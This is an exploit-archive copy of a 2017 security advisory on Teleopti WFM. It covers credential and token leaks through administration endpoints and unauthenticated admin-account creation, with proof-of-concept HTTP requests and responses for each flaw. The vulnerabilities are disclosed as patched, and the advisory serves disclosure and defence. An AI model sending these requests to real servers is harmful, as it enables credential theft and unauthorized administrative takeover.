Home / exploits Teleopti WFM < = 7.1.0 Multiple Vulnerabilities
Posted on 30 November -0001
<HTML><HEAD><TITLE>Teleopti WFM <= 7.1.0 Multiple Vulnerabilities</TITLE><META http-equiv="Content-Type" content="text/html; charset=utf-8"></HEAD><BODY>############################################################# # Advisory Title: Teleopti WFM (Multiple Vulnerabilities) # Date: 2/4/2017 # Researcher: Graph-X ((email: graphx () sigaint org)) # Vendor Homepage: http://www.teleopti.com # Version: <= 7.1.0 # CVE: is dead ############################################################# Disclosure Timeline ############################################################################################ 8/30/2016 - Initial contact made to alert Teleopti of the flaws 9/2/2016 - Vulnerabilities provided to Teleopti along with POC information 9/5/2016 - Teleopti Confirms they are able to reproduce and are working on fixes 9/13/2016 - Teleopti responds confirming patches released 9/15/2016 - Draft of this advisory is provided to Teleopti for comment and clarification 9/16/2016 - Teleopti asks that I not disclose 2/2/2017 - 5 months have passed since initial disclosure. Informed Teleopti of intent to disclose. (No response received). 2/4/2017 - Public disclosure on twitter and some IRC channels (yeah people still use that shit) 2/6/2017 - Advisory is published to Full Disclosure and Bug Traq mailing lists. A Comment On Affected Versions: These were mainly found while testing version 7.1.0. Additional research showed that some of these vulnerabilities were also present in versions back to 6.9. I was unable to confirm directly if versions earlier than that are vulnerable, but it is strongly suggested that patch levels be brought to current just in case. ##############################{Vulnerabilities}####################################### 1: Server response contains plaintext username and password 2: Server response contains password hashes and access tokens 3: Improper Data Validation allowing Administrator account creation (only version 7.1.0) ################################################################################# Background: Teleopti is a leading provider of solutions for strategic Workforce Management (WFM) and Telecom Expense Management (TEM). The company is renowned for developing advanced and user-friendly solutions based on client requirements. Hundreds of enterprises around the world rely on Teleopti to achieve optimal operational efficiency in their contact center in order to provide the highest levels of service to their users. Researcher's Note: I want to sincerely thank Teleopti for being so responsive in fixing the vulnerabilities reported. This is the FASTEST I have ever received a) a response from a vendor regarding security flaws and b) the quickest turn around in providing a solution. The development team and management of Teleopti have seriously impressed me with the lightning fast response to these vulnerabilities. It was an absolute pleasure to coordinate with them on providing a better and more secure product. Hats off to Teleopti. ###Server Response Contains Plaintext Username and Password### 1) Description It is possible for a remote authenticated attacker to retrieve the database username and password as well as server hostname/IP address via the TeleoptiWFM/Administration section. If an authenticated user makes a request to the GetOneTenant page and the server will provide a JSON response that contains that 'tenant's' database username, password, database server name and IP address. 2) Proof of Concept: 1.Send a POST request like the one below: POST /TeleoptiWFM/Administration/GetOneTenant HTTP/1.1 Host: Proof-of-Concept Content-Length: 14 Accept: application/json, text/plain, */* Authorization: <Access_Token> Content-Type: application/json;charset=UTF-8 Cookie: <ASP.net session cookie> Connection: close "Teleopti WFM" // This is the default tenant name 2. The server will respond similarly to the below snippet: HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Length: 357 <snip> {"Id":1,"Name":"Teleopti WFM","AppDatabase":"TELEOPTIAPPDB","AnalyticsDatabase":"TELEOPTIANALYTICSDB","CommandTimeout":60,"UserName":"DatabaseUser","Password":"hunter2","Server":"SQLSERVER","AggregationDatabase":"","Version":{"HeadVersion":710,"ImportAppVersion":710,"AppVersionOk":true,"Error":null},"Active":true,"UseIntegratedSecurity":false} 3) Remediation The vendor has issued a patch to address this information disclosure. ###Server Response Contains Password Hashes and Authorization Tokens### 1) Description A remote authenticated attacker can retrieve the usernames, password hashes, and authorization tokens for all the administrative users by submitting a GET request to /TeleoptiWFM/Administration/Users. The server provides a JSON response that includes excessive information such as user password and access token. 2) Proof of Concept A remote authenticated attack would be able to trigger this information disclosure by sending a GET request to the server like the one below: GET /TeleoptiWFM/Administration/Users HTTP/1.1 Host: someappserver.example.com Accept: application/json, text/plain, */* The response would be similar to the below snippet: HTTP/1.1 200 OK Cache-Control: no-store, must-revalidate, no-cache, private Content-Type: application/json; charset=utf-8 Connection: close [{"Id":1,"Name":"Teleopti Tenant admin","Email":"example () example com","Password":"******","AccessToken":"********"},{"Id":2,"Name":"joe","Email":"joe () example com","Password":"******","AccessToken":"******"}] 3) Remediation Teleopti has issued a patch to remove the password and access token from the server response. ###Improper Data Validation Allowing Unauthenticated Admin User Creation### 1) Description The TeleoptiWFM/Administration page includes several logical checks pertaining to initial user setup and first-time-run. One such check is a query to see if an admin user has already been established. This check is made when first landing on the Administration page. It appears that a client-side validation is made using a Boolean response to a GET request to the 'HasNoUser' page with either true or false. An unauthenticated remote attacker could manipulate the response from false to true which would cause the client to reveal an admin user creation form. The form, once submitted, makes no additional server side validations there are users in the database already. Additionally, an attacker would be able to create an admin user simply by sending a POST request similar to the one provided below to the 'AddFirstUser' page. 2) Proof of Concept Sending a POST request to the TeleoptiWFM/Administration/AddFirstUser url with information provided by a remote unauthenticated attacker will add a new user to the Administration user database. The attacker would then be able to login with full admin rights to the administration area. POST /TeleoptWFM/Administration/AddFirstUser HTTP/1.1 Host: proofofconcept.com Content-Length: 108 Accept: application/json, text/plain, */* Content-Type: application/json;charset=UTF-8 {"Name":"Admin2","Email":"another.admin () example com","Password":"hunter2","ConfirmPassword":"hunter12"} If the attacker is successful, the server will provide the following JSON response: HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8 Connection: close Content-Length: 59 {"Success":true,"Message":"Updated the user successfully."} 3) Remediation Teleopti has released a patch to address this flaw. It should be noted that the flaw appears to only exist in version 7.1.0 of the TeleoptiWFM software. -- Fuck it, let's security! #YOLO </BODY></HTML>
